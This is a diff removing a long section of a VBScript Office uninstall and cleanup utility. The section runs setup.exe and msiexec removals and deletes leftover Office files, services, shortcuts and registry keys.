-                    End If 'sPath > 4
-                Next 'CompClient
-            End If 'fAffectedComponent
-        End If 'fRemoveComponent
-        Err.Clear
-    Next 'ComponentID
-    On Error Goto 0
-
-    Log " Done" & vbCrLf
-    If dicFLError.Count > 0 Then LogOnly Join(dicFLError.Keys,vbCrLf)
-    If Not oFolderDic.Count = 0 Then arrDeleteFolders = oFolderDic.Keys Else Set arrDeleteFolders = Nothing
-    If Not oDic.Count = 0 Then arrDeleteFiles = oDic.Keys Else Set arrDeleteFiles = Nothing
-End Sub 'ScanComponents
-'=======================================================================================================
-
-
-'Try to remove the products by calling setup.exe
-Sub SetupExeRemoval
-    Dim OseService, Service, TextStream
-    Dim iSetupCnt, RetVal
-    Dim Sku, sConfigFile, sUninstallCmd, sCatalyst, sDll, sDisplayLevel, sNoCancel
-    iSetupCnt = 0
-    If Not dicRemoveSku.Count > 0 Then
-        Log " Nothing to remove for Setup.exe"
-        Exit Sub
-    End If
-
-    'Ensure that the OSE service is *installed, *not disabled, *running under System context.
-    'If validation fails exit out of this sub.
-    Set OseService = oWmiLocal.Execquery("Select * From Win32_Service Where Name like 'ose%'")
-    If OseService.Count = 0 Then Exit Sub
-    For Each Service in OseService
-        If (Service.StartMode = "Disabled") AND (Not Service.ChangeStartMode("Manual")=0) Then Exit Sub
-        If (Not Service.StartName = "LocalSystem") AND (Service.Change( , , , , , , "LocalSystem", "")) Then Exit Sub
-    Next 'Service
-
-    For Each Sku in dicRemoveSku.Keys
-
-        If Sku="CLICK2RUN" Then
-            'Already done
-        Else
-            'Create an "unattended" config.xml file for uninstall
-            If fQuiet Then sDisplayLevel = "None" Else sDisplayLevel="Basic"
-            If fNoCancel Then sNoCancel="Yes" Else sNoCancel="No"
-            Set TextStream = oFso.OpenTextFile(sScrubDir & "\config.xml",FOR_WRITING,True,True)
-            TextStream.Writeline "<Configuration Product=""" & Sku & """>"
-            TextStream.Writeline "<Display Level=""" & sDisplayLevel & """ CompletionNotice=""No"" SuppressModal=""Yes"" NoCancel=""" & sNoCancel & """ AcceptEula=""Yes"" />"
-            TextStream.Writeline "<Logging Type=""Verbose"" Path=""" & sLogDir & """ Template=""Microsoft Office " & Sku & " Setup(*).txt"" />"
-            TextStream.Writeline "<Setting Id=""MSIRESTARTMANAGERCONTROL"" Value=""Disable"" />"
-            TextStream.Writeline "<Setting Id=""SETUP_REBOOT"" Value=""Never"" />"
-            TextStream.Writeline "</Configuration>"
-            TextStream.Close
-            Set TextStream = Nothing
-
-            'Ensure path to setup.exe is valid to prevent errors
-            sDll = ""
-            If RegReadValue(HKLM,REG_ARP & OREGREF & Sku,"UninstallString",sCatalyst,"REG_SZ") Then
-                If InStr(LCase(sCatalyst),"/dll")>0 Then sDll = Right(sCatalyst,Len(sCatalyst)-InStr(LCase(sCatalyst),"/dll")+2)
-                If InStr(sCatalyst,"/")>0 Then sCatalyst = Left(sCatalyst,InStr(sCatalyst,"/")-1)
-                sCatalyst = Trim(Replace(sCatalyst,Chr(34),""))
-                If NOT oFso.FileExists(sCatalyst) Then
-                    sCatalyst = sCommonProgramFiles & "\" & OREF & "\Office Setup Controller\setup.exe"
-                    If NOT oFso.FileExists(sCatalyst) AND f64 Then
-                        sCatalyst = sCommonProgramFilesX86 & "" & OREF & "\Office Setup Controller\setup.exe"
-                    End If
-                End If
-                If oFso.FileExists(sCatalyst) Then
-                    sUninstallCmd = Chr(34) & sCatalyst & Chr(34) & " /uninstall " & Sku & " /config " & Chr(34) & sScrubDir & "\config.xml" & Chr(34) & sDll
-                    iSetupCnt = iSetupCnt + 1
-                    Log " - Calling Setup.exe to remove " & Sku '& vbCrLf & sUninstallCmd
-                    If Not fDetectOnly Then
-                        On Error Resume Next
-                        ' end other instances of setup
-                        EndCurrentInstalls
-                        ' call uninstall
-                        RetVal = oWShell.Run(sUninstallCmd,0,True) : CheckError "SetupExeRemoval"
-                        Log " - Setup.exe returned: " & SetupRetVal(Retval) & " (" & RetVal & ")" & vbCrLf
-                        fRebootRequired = fRebootRequired OR (RetVal = "3010")
-                        On Error Goto 0
-                    Else
-                        Log " -> Removal suppressed in preview mode."
-                    End If
-                Else
-                    Log " Error: Office setup.exe appears to be missing"
-                End If 'RetVal = 0) AND oFso.FileExists
-            End If 'RegReadValue
-        End If
-    Next 'Sku
-    If iSetupCnt = 0 Then Log " Nothing to remove for setup."
-End Sub 'SetupExeRemoval
-'=======================================================================================================
-
-'Invoke msiexec to remove individual .MSI packages
-Sub MsiexecRemoval
-
-    Dim Product
-    Dim i
-    Dim sCmd, sReturn, sMsiProp
-    Dim fRegWipe
-
-    fRegWipe = False
-
-    Select Case OVERSIONMAJOR
-    Case "11"
-        sMsiProp = " REBOOT=ReallySuppress NOLOCALCACHEROLLBACK=1"
-    Case "12"
-        fRegWipe = True
-        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
-    Case "14"
-        fRegWipe = True
-        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
-    Case "15"
-        fRegWipe = True
-        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
-    Case Else
-    End Select
-
-    'Clear up ARP first to avoid possible custom action dependencies
-    If fRegWipe Then RegWipeARP
-
-    'Check MSI registered products
-    'Office System does only support per machine installation so it's sufficient to use Installer.Products
-    i = 0
-    sMsiProp = " MSIRESTARTMANAGERCONTROL=Disable" & sMsiProp
-    For Each Product in oMsi.Products
-        If CheckDeleteEx(Product) Then
-            i = i + 1
-            Log " Calling msiexec.exe to remove " & Product
-            sCmd = "msiexec.exe /x" & Product & sMsiProp
-            If fQuiet AND NOT fBasic Then
-                sCmd = sCmd & " /q"
-            Else
-                sCmd = sCmd & " /qb-"
-            End If
-            sCmd = sCmd & " /l*v+ "&chr(34)&sLogDir&"\Uninstall_"&Product&".log"&chr(34)
-            If NOT fDetectOnly Then
-                ' end other instances of setup
-                EndCurrentInstalls
-
-                'Execute the uninstall
-                LogOnly " - Calling msiexec with '"&sCmd&"'"
-                sReturn = oWShell.Run(sCmd, 0, True)
-                Log " - msiexec returned: " & SetupRetVal(sReturn) & " (" & sReturn & ")" & vbCrLf
-                fRebootRequired = fRebootRequired OR (sReturn = "3010") OR (sReturn = "1618")
-            Else
-                Log "  -> Removal suppressed in preview mode."
-                LogOnly "  -> Command: "&sCmd
-            End If
-        End If 'InScope
-    Next 'Product
-    If i = 0 Then Log " Nothing to remove for msiexec"
-End Sub 'MsiexecRemoval
-'=======================================================================================================
-
-'Remove the OSE (Office Source Engine) service
-Sub RemoveOSE
-    On Error Resume Next
-    Log vbCrLf & "OSE CleanUp"
-    DeleteService "ose"
-    'Delete the folder
-    DeleteFolder sCommonProgramFiles & "\Microsoft Shared\Source Engine"
-    'Delete the registration
-    RegDeleteKey HKLM,"SYSTEM\CurrentControlSet\Services\ose\"
-End Sub 'RemoveOSE
-'=======================================================================================================
-
-
-'File cleanup operations for the Local Installation Source (MSOCache)
-Sub WipeLIS
-    Const LISROOT = "MSOCache\All Users\"
-    Dim LogicalDisks, Disk, Folder, SubFolder, MseFolder, File, Files
-    Dim arrSubFolders
-    Dim sFolder
-    Dim fRemoveFolder
-
-    Log vbCrLf & "LIS CleanUp"
-    'Search all hard disks
-    Set LogicalDisks = oWmiLocal.ExecQuery("Select * From Win32_LogicalDisk WHERE DriveType=3")
-    For Each Disk in LogicalDisks
-        If oFso.FolderExists(Disk.DeviceID & "\" & LISROOT) Then
-            Set Folder = oFso.GetFolder(Disk.DeviceID & "\" & LISROOT)
-            For Each Subfolder in Folder.Subfolders
-                If Len(Subfolder) > 37 Then
-                    If fRemoveAll Then
-                        If  (Mid(Subfolder.Name,27,PRODLEN) = OFFICEID AND Mid(SubFolder.Name,4,2)=OVERSIONMAJOR) OR _
-                            LCase(Right(Subfolder.Name,7)) = OVERSIONMAJOR &".data" Then DeleteFolder Subfolder.Path
-                    Else
-                        If  (Mid(Subfolder.Name,27,PRODLEN) = OFFICEID AND Mid(SubFolder.Name,4,2)=OVERSIONMAJOR) AND _
-                            CheckDelete(UCase(Left(Subfolder.Name,38))) AND _
-                            UCase(Right(Subfolder,1))= UCase(Left(Disk.DeviceID,1))Then DeleteFolder Subfolder.Path
-                    End If
-                End If 'Len > 37
-            Next 'Subfolder
-            If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
-                sFolder = Folder.Path
-                Set Folder = Nothing
-                SmartDeleteFolder sFolder
-            End If
-        End If 'oFso.FolderExists
-    Next 'Disk
-
-    'MSECache
-    If EnumFolders(sProgramFiles,arrSubFolders) Then
-        For Each SubFolder in arrSubFolders
-            If UCase(Right(SubFolder,9))="\MSECACHE" Then
-                ReDim arrMseFolders(-1)
-                Set Folder = oFso.GetFolder(SubFolder)
-                GetMseFolderStructure Folder
-                For Each MseFolder in arrMseFolders
-                    If oFso.FolderExists(MseFolder) Then
-                        fRemoveFolder = False
-                        Set Folder = oFso.GetFolder(MseFolder)
-                        Set Files = Folder.Files
-                        For Each File in Files
-                            If (LCase(Right(File.Name,4))=".msi") Then
-                                If CheckDelete(ProductCode(File.Path)) Then
-                                    fRemoveFolder = True
-                                    Exit For
-                                End If 'CheckDelete
-                            End If
-                        Next 'File
-                        Set Files = Nothing
-                        Set Folder = Nothing
-                        If fRemoveFolder Then SmartDeleteFolder MseFolder
-                    End If 'oFso.FolderExists(MseFolder)
-                Next 'MseFolder
-            End If
-        Next 'SubFolder
-    End If 'oFso.FolderExists
-End Sub 'WipeLis
-'=======================================================================================================
-
-'Wipe files and folders as documented in KB 928218
-Sub FileWipeAll
-    Dim sFolder
-    Dim Folder, Subfolder
-
-    If fForce OR fQuiet OR fPassive Then CloseOfficeApps
-
-    'Handle other services.
-    Select Case OVERSIONMAJOR
-    Case "11"
-    Case "12"
-    Case "14"
-        DeleteService "odserv"
-        DeleteService "Microsoft Office Groove Audit Service"
-        DeleteService "Microsoft SharePoint Workspace Audit Service"
-    Case "15"
-    Case Else
-    End Select
-
-    'User specific files
-    If NOT fKeepUser Then
-        'Delete files that should be backed up before deleting them
-        CopyAndDeleteFile sAppdata & "\Microsoft\Templates\Normal.dotm"
-        CopyAndDeleteFile sAppdata & "\Microsoft\Templates\Normalemail.dotm"
-        sFolder = sAppdata & "\microsoft\document building blocks"
-        If oFso.FolderExists(sFolder) Then
-            Set Folder = oFso.GetFolder(sFolder)
-            For Each Subfolder In Folder.Subfolders
-                If oFso.FileExists(Subfolder & "\blocks.dotx") Then CopyAndDeleteFile Subfolder & "\blocks.dotx"
-            Next 'Subfolder
-            Set Folder = Nothing
-        End If 'oFso.FolderExists(sFolder)
-    End If
-
-    'Run the individual filewipe from component detection first
-    FileWipeIndividual
-    If fC2rInstalled AND NOT fForce Then Exit Sub
-
-    'Take care of the rest
-    DeleteFolder sOInstallRoot
-    DeleteFolder sCommonProgramFiles & "\Microsoft Shared\" & OREF
-    DeleteFile sAllUsersProfile & "\Application Data\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".dat"
-    DeleteFile sAllUsersProfile & "\Application Data\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".bak"
-    DeleteFile sAllUsersProfile & "\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".dat"
-    DeleteFile sAllUsersProfile & "\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".bak"
-    If (fRemoveOspp OR fForce) AND CInt(OVERSIONMAJOR) > 12 Then
-        If CInt(OVERSIONMAJOR) = 15 Then CleanOSPP
-        DeleteService "osppsvc"
-        DeleteFolder sCommonProgramFiles & "\Microsoft Shared\OfficeSoftwareProtectionPlatform"
-        DeleteFolder sAllUsersProfile & "\Microsoft\OfficeSoftwareProtectionPlatform"
-    End If
-    Select Case OVERSIONMAJOR
-    Case "12"
-    Case "14"
-        DeleteFile oWShell.SpecialFolders("AllUsersStartup")&"\OfficeSAS.lnk"
-        DeleteFile oWShell.SpecialFolders("Startup")&"\OneNote 2010 Screen Clipper and Launcher.lnk"
-    Case "15"
-    Case Else
-    End Select
-    DeleteEmptyFolder sCommonProgramFiles & "\Microsoft Shared\" & OREF
-    DeleteEmptyFolder sCommonProgramFiles & "\Microsoft Shared\"
-    DeleteEmptyFolder sProgramFiles & "\Microsoft Office\" & OREF
-    DeleteEmptyFolder sProgramFiles & "\Microsoft Office\"
-
-End Sub 'FileWipeAll
-'=======================================================================================================
-
-'Wipe individual files & folders related to SKU's that are no longer installed
-Sub FileWipeIndividual
-    Dim LogicalDisks, Disk,sc
-    Dim File, Files, XmlFile, scFiles, oFile, Folder, SubFolder, Processes, Process, item
-    Dim sFile, sFolder, sPath, sConfigName, sContents, sProductCode, sLocalDrives,sScQuery
-    Dim sValue, sScRoots
-    Dim arrSubfolders, arrShortCutRoots
-    Dim fKeepFolder, fDeleteSC
-    Dim iRet,iCnt,iPos
-
-    Log vbCrLf & "File CleanUp"
-    If IsArray(arrDeleteFiles) Then
-        If fForce OR fQuiet Then
-            Log " Doing Action: StopOSE"
-            iRet = StopService("ose")
-            Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name like 'ose%.exe'")
-            For Each Process in Processes
-                LogOnly " - Running process : " & Process.Name
-                Log " -> Ending process: " & Process.Name
-                iRet = Process.Terminate()
-            Next 'Process
-            LogOnly " End Action: StopOSE"
-            CloseOfficeApps
-        End If
-        'Wipe individual files detected earlier
-        LogOnly " Removing left behind files"
-        For Each sFile in arrDeleteFiles
-            If oFso.FileExists(sFile) Then DeleteFile sFile
-        Next 'File
-    End If 'IsArray
-
-    'Wipe Catalyst in commonfiles
-    sFolder = sCommonProgramFiles & "\microsoft shared\"&OREF&"\Office Setup Controller\"
-    If EnumFolderNames(sFolder,arrSubFolders) Then
-        For Each SubFolder in arrSubFolders
-            sPath = sFolder & SubFolder
-            If InStr(SubFolder, ".") > 0 Then sConfigName = UCase(Left(SubFolder, InStr(SubFolder, ".") - 1)) Else sConfigName = UCase(Subfolder)
-            If GetFolderPath(sPath) Then
-                Set Folder = oFso.GetFolder(sPath)
-                Set Files = Folder.Files
-                fKeepFolder = False
-                For Each File In Files
-                    If Len(File.Name)>3 Then
-                        If (LCase(Right(File.Name,4))=".xml") Then
-                            If Len(File.Name) >= Len(sConfigName) Then
-                                If (UCase(Left(File.Name,Len(sConfigName)))=sConfigName) Then
-                                    Set XmlFile = oFso.OpenTextFile(File,1)
-                                    sContents = XmlFile.ReadAll
-                                    Set XmlFile = Nothing
-                                    sProductCode = ""
-                                    On Error Resume Next
-                                    sProductCode = Mid(sContents,InStr(sContents,"ProductCode=")+Len("ProductCode=")+1,38)
-                                    On Error Goto 0
-                                    If Len(sProductCode) = 38 Then
-                                        If CheckDelete(sProductCode) Then DeleteFile File.Path Else fKeepFolder = True
-                                    End If
-                                End If 'sConfigName
-                            End If 'Len >=
-                        End If '.xml
-                    End If 'Len(File.Name)>3
-                Next 'File
-                Set Files = Nothing
-                Set Folder = Nothing
-                If Not fKeepFolder Then DeleteFolder sPath
-            End If 'GetFolderPath
-        Next 'SubFolder
-    End If 'EnumFolderNames
-
-    'Wipe Shortcuts
-    If NOT fSkipSD Then
-        On Error Resume Next
-        Log " Searching for shortcuts"
-        CleanShortcuts sAllUsersProfile, True, False
-        CleanShortcuts sProfilesDirectory, True, False
-        On Error Goto 0
-    End If 'NOT SkipSD
-    Err.Clear
-
-End Sub 'FileWipeIndividual
-'=======================================================================================================
-
-'-------------------------------------------------------------------------------
-'   CleanShortcuts
-'
-'   Recursively search all profile folders for Office shortcuts in scope
-'-------------------------------------------------------------------------------
-Sub CleanShortcuts (sFolder, fDelete, fUnPin)
-    Dim oFolder, fld, file, sc, item
-    Dim fDeleteSC
-
-	Set oFolder = oFso.GetFolder(sFolder)
-	' exclude system protected link folders
-    If CBool(oFolder.Attributes AND 1024) Then Exit Sub
-
-    On Error Resume Next
-    For Each fld In oFolder.SubFolders
-        If Err <> 0 Then
-		    CheckError "CleanShortcuts: " & vbTab & sFolder
-        Else
-            CleanShortcuts fld.Path, fDelete, fUnPin
-        End If
-	Next
-    For Each file In oFolder.Files
-		If LCase(Right(file.Path, 4)) = ".lnk" Then
-            fDeleteSC = False
-            LogOnly " check file: " & file.Path
-            set sc = oWShell.CreateShortcut(file.Path)
-            If Err <> 0 Then
-		        CheckError "CleanShortcutsSC: " & vbTab & sFolder
-            Else
-                'Compare if the shortcut target is in the list of executables that will be removed
-                'LogOnly "  - SC.TargetPath: " & sc.TargetPath
-                If Len(sc.TargetPath) > 0 Then
-                    If InStr(sc.TargetPath,"{{") > 0 Then
-                        'Handle Windows Installer shortcuts
-                        If Len(sc.TargetPath) >= InStr(sc.TargetPath,"{{") + 37 Then
-                            If CheckDelete(Mid(sc.TargetPath, InStr(sc.TargetPath,"{{"), 38)) Then fDeleteSC = True
-                        End If
-                    Else
-                        'Handle regular shortcuts
-                        If NOT fBypass_Stage1 Then
-                            ' Compare against results from component scan
-                            For Each item in dicApps.Items
-                                If LCase(sc.TargetPath) = item Then
-                                    LogOnly "  - removing shortcut per match from component detection: " & file.Path
-                                    fDeleteSC = True
-                                    Exit For
-                                End If
-                            Next 'item
-                        Else
-                        End If
-                        If NOT oFso.FileExists(sc.TargetPath) Then
-                            ' Shortcut target does not exist
-                            If InStr (sc.TargetPath, OREF) > 0 Then
-                                LogOnly "  - removing Office shortcut with non-existent target: " & file.Path & " - " & sc.TargetPath
-                                fDeleteSC = True
-                            Else
-                                'LogOnly "  - keep orphaned SC as target is not in scope: " & sc.TargetPath
-                            End If
-                        Else
-                            'LogOnly "  - keep SC as shortcut target does still exist: " & sc.TargetPath
-                        End If
-                    End If
-                End If
-            End If
-            If fDeleteSC Then
-                If Not IsArray(arrDeleteFolders) Then ReDim arrDeleteFolders(0)
-                sFolder = file.Drive & file.Path
-                If Not arrDeleteFolders(UBound(arrDeleteFolders)) = sFolder Then
-                    ReDim Preserve arrDeleteFolders(UBound(arrDeleteFolders) + 1)
-                    arrDeleteFolders(UBound(arrDeleteFolders)) = sFolder
-                End If
-                If fUnPin Then UnPin file
-                If fDelete Then
-                    If fBypass_Stage1 Then UnPin file
-                    DeleteFile file.Path
-                End If
-                fDeleteSC = False
-            End If 'fDeleteSC
-        End If
-	Next
-    On Error Goto 0
-End Sub 'CleanShortcuts
-
-'-------------------------------------------------------------------------------
-'   UnPin
-'
-'   Unpins a shortcut from the taskbar or start menu
-'-------------------------------------------------------------------------------
-Sub UnPin(file)
-    Dim fldItem, verb
-
-    On Error Resume Next
-    Set fldItem = oShellApp.NameSpace(file.ParentFolder.Path).ParseName(file.Name)
-    For Each verb in fldItem.Verbs
-        Select Case Replace(verb, "&", "")
-        Case "Unpin from Taskbar", "Von Taskleiste lösen", "Détacher du barre des tâches", "Détacher de la barre des tâches", "Desanclar de la barra de tareas", "Ta bort från Aktivitetsfältet", "??? ????????(K)", "?? ????? ??(K)", "????????? ?? ?????? ?????"
-            verb.DoIt
-        Case "Unpin from Start Menu", "Vom Startmenü lösen", "Détacher du menu Démarrer", "Détacher de la menu Démarrer"
-            If iVersionNT = 601 Then verb.DoIt
-        End Select
-    Next
-    On Error Goto 0
-End Sub
-
-
-'=======================================================================================================
-
-Sub DelScrubTmp
-
-    On Error Resume Next
-    If oFso.FolderExists(sScrubDir & "\ScrubTmp") Then oFso.DeleteFolder sScrubDir & "\ScrubTmp",True
-
-End Sub 'DelScrubTmp
-'=======================================================================================================
-
-'Ensure there are no unexpected .msi files in the scrub folder
-Sub DeleteMsiScrubCache
-    Dim Folder, File, Files
-
-    Log vbCrLf & "ScrubCache CleanUp"
-    Set Folder = oFso.GetFolder(sScrubDir) : CheckError "DeleteMsiScrubCache"
-    Set Files = Folder.Files
-    For Each File in Files
-        CheckError "DeleteMsiScrubCache"
-        If LCase(Right(File.Name,4))=".msi" Then
-            CheckError "DeleteMsiScrubCache"
-            DeleteFile File.Path : CheckError "DeleteMsiScrubCache"
-        End If
-    Next 'File
-End Sub 'DeleteMsiScrubCache
-'=======================================================================================================
-
-Sub MsiClearOrphanedFiles
-    Const USERSIDEVERYONE = "s-1-1-0"
-    Const MSIINSTALLCONTEXT_ALL = 7
-    Const MSIPATCHSTATE_ALL = 15
-
-    'Error handling inlined
-    On Error Resume Next
-
-    Dim Patch, AllPatches, Product, AllProducts
-    Dim File, Files, Folder
-    Dim sFName, sLocalMsp, sLocalMsi, sPatchList, sMsiList
-
-    Set Folder = oFso.GetFolder(sWinDir & "\Installer")
-    Set Files = Folder.Files
-
-    Log vbCrLf & "Windows Installer cache CleanUp"
-    'Get a complete list of patches
-    Err.Clear
-    Set AllPatches = oMsi.PatchesEx("",USERSIDEVERYONE,MSIINSTALLCONTEXT_ALL,MSIPATCHSTATE_ALL)
-    If Err <> 0 Then
-        CheckError "MsiClearOrphanedFiles (msp)"
-    Else
-        'Fill a comma separated stringlist with all .msp patchfiles
-        For Each Patch in AllPatches
-            sLocalMsp = "" : sLocalMsp = LCase(Patch.Patchproperty("LocalPackage")) : CheckError "MsiClearOrphanedFiles (msp)"
-            sPatchList = sPatchList & sLocalMsp & ","
-        Next 'Patch
-
-        'Delete all non referenced .msp files from %windir%\installer
-        For Each File in Files
-            sFName = "" : sFName = LCase(File.Path)
-            If LCase(Right(sFName,4)) = ".msp" Then
-                If Not InStr(sPatchList,sFName) > 0 Then
-                    'While this is an orphaned file keep the scope of Office only
-                    If InStr(UCase(MspTargets(File.Path)),OFFICEID)>0 Then DeleteFile File.Path
-                End If
-            End If 'LCase(Right(sFName,4))
-        Next 'File
-    End If 'Err=0
-
-    'Get a complete list products
-    Err.Clear
-    Set AllProducts = oMsi.ProductsEx("",USERSIDEVERYONE,MSIINSTALLCONTEXT_ALL)
-    If Err <> 0 Then
-        CheckError "MsiClearOrphanedFiles (msi)"
-    Else
-        'Fill a comma separated stringlist with all .msi files
-        For Each Product in AllProducts
-            sLocalMsi = "" : sLocalMsi = LCase(Product.InstallProperty("LocalPackage")) : CheckError "MsiClearOrphanedFiles (msi)"
-            sMsiList = sMsiList & sLocalMsi & ","
-        Next 'Product
-
-        'Delete all non referenced .msi files from %windir%\installer
-        For Each File in Files
-            sFName = "" : sFName = LCase(File.Path)
-            If LCase(Right(sFName,4)) = ".msi" Then
-                If Not InStr(sMsiList,sFName) > 0 Then
-                    'While this is an orphaned file keep the scope of Office only
-                    If UCase(Right(ProductCode(File.Path),PRODLEN))=OFFICEID Then DeleteFile File.Path
-                End If
-            End If 'LCase(Right(sFName,4)) = ".msi"
-        Next 'File
-    End If 'Err=0
-
-End Sub 'MsiClearOrphanedFiles
-'=======================================================================================================
-
-Sub RegWipe
-    Dim Item, Name, Sku, key
-    Dim hDefKey, sSubKeyName, sCurKey, value, sValue, sGuid
-    Dim fkeep, fSystemComponent0, fPackages, fDisplayVersion
-    Dim arrKeys, arrNames, arrTypes, arrMultiSzValues, arrMultiSzNewValues
-    Dim arrTestNames, arrTestTypes
-    Dim i, iLoopCnt, iPos
-    Dim fDelReg
-
-    Log vbCrLf & "Registry CleanUp"
-    'Wipe registry data
-
-    'User Profile settings
-    Log " - User Policies"
-    RegDeleteKey HKCU,"Software\Policies\Microsoft\Office\" & OVERSION & "\"
-    If NOT fKeepUser Then
-        RegDeleteKey HKCU,"Software\Microsoft\Office\" & OVERSION & "\"
-        Log " - User Settings"
-    End If 'fKeepUser
-
-    'Computer specific settings
-    If (fRemoveAll AND NOT fC2rInstalled) OR (fRemoveAll AND fForce) Then
-        Log " - Machine Settings"
-        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\" & OVERSION & "\"
-        If fRemoveOse OR fForce Then
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office Test\"
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\","LastAccessInstall", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\","MID", False
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Excel\Addins\Microsoft.PerformancePoint.Planning.Client.Excel\"
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\InfoPath\Converters\Import\InfoPath.DesignerExcelImport\Versions\",OVERSION, False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\InfoPath\Converters\Import\InfoPath.DesignerWordImport\Versions\",OVERSION, False
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Outlook\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\MEWord12\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\Word12\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\Word97\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\MEWord12\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\Word12\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\Word97\"
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","GrooveMonitor", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","LobiServer", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","BCSSync", False
-            RegDeleteKey HKLM,"SYSTEM\CurrentControlSet\Services\Outlook\"
-        End If
-        RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\OffDiag\Location\",OVERSIONMAJOR, False
-        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Office\" & OVERSION & "\"
-        RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\OffDiag\Location\",OVERSIONMAJOR, False
-        RegDeleteKey HKLM,"SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\"
-        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\"
-
-        Select Case OVERSIONMAJOR
-        Case "11"
-            'Jet_Replication
-            sValue = ""
-            If RegReadValue(HKCR,"CLSID\{{CC2C83A6-9BE4-11D0-98E7-00C04FC2CAF5}\InprocServer32","SystemDB",sValue,"REG_SZ") Then
-                If Len(sValue) > Len(sOInstallRoot) Then
-                    If LCase(Left(sValue,Len(sOInstallRoot))) = LCase(sOInstallRoot) Then RegDeleteKey HKCR,"CLSID\{{CC2C83A6-9BE4-11D0-98E7-00C04FC2CAF5}\InprocServer32\"
-                End If
-            End If
-        Case "12"
-        Case "14"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform_Test\"
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Common\ActiveX Compatibility\{{00024512-0000-0000-C000-000000000046}\"
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\OneNote\Adapters\","{{456B0D0E-49DD-4C95-8DB6-175F54DE69A3}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{42042206-2D85-11D3-8CFF-005004838597}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{993BE281-6695-4BA5-8A2A-7AACBFAAB69E}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{0006F045-0000-0000-C000-000000000046}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{C41662BB-1FA0-4CE0-8DC5-9B7F8279FF97}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{7CCA70DB-DE7A-4FB7-9B2B-52E2335A3B5A}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{506F4668-F13E-4AA1-BB04-B43203AB3CC0}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{D66DC78C-4F61-447F-942B-3FB6980118CF}", False
-            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{{B4F3A835-0E21-4959-BA22-42B3008E02FF}\"
-            'Groove Extensions
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks\","{{B5A7F190-DDA6-4420-B3BA-52453494E6CD}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{99FD978C-D287-4F50-827F-B2C658EDA8E7}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{AB5C5600-7E6E-4B06-9197-9ECEF74D31CC}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{920E6DB1-9907-4370-B3A0-BAFC03D81399}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{16F3DD56-1AF5-4347-846D-7C10C4192619}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{2916C86E-86A6-43FE-8112-43ABE6BF8DCC}", False
-            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{72853161-30C5-4D22-B7F9-0BBC1D38A37E}", False
